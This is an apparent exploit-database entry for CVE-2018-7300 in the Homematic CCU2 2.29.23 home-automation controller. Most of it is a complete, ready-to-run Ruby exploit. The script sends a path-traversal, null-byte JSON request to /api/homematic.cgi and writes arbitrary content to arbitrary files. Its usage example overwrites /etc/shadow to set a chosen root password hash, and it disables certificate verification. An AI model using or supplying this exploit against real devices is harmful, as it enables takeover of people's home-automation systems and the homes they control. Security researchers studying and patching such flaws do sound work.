Homematic CCU2 2.29.23 Arbitrary File Write

Homematic CCU2 version 2.29.23 suffers from an arbitrary file write vulnerability.


MD5 | 009117d41ee7e2bc477a58b95a3c2182

#!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Arbitrary File Write
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7300

# Description: http://atomic111.github.io/article/homematic-ccu2-filewrite

require 'net/http'
require 'net/https'
require 'uri'
require 'json'

unless ARGV.length == 3
STDOUT.puts <<-EOF
Please provide url

Usage:
write_files.rb <ip.adress> <file path> <content of the file>

Example:
write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

or

write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

EOF
exit
end

# The first argument specifiee the URL and if http or https is used
url = ARGV[0] + "/api/homematic.cgi"

# The second argument specifies the file into which the content should be written
homematic_file_path = ARGV[1]

# The third argument specifies the content of the file
homematic_file_content = ARGV[2]

# define the json body for the attack
body = {
"version": "1.1",
"method": "User.setLanguage",
"params": {
"userName": "file path",
"userLang": "file content"
}
}.to_hash

# define the traversal with the file you want to write
body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"

# define the content
body[:params][:userLang] = homematic_file_content

# split the uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

# define post request
request = Net::HTTP::Post.new(uri.request_uri)

# define the content type of the http request
request.content_type = 'application/json'

# define the request body
request.body = body.to_json

# send the request to the homematic ccu2
response = http.request(request)

# print response message code and status to cli
puts 'Response code: ' + response.code + ' ' + response.message
end




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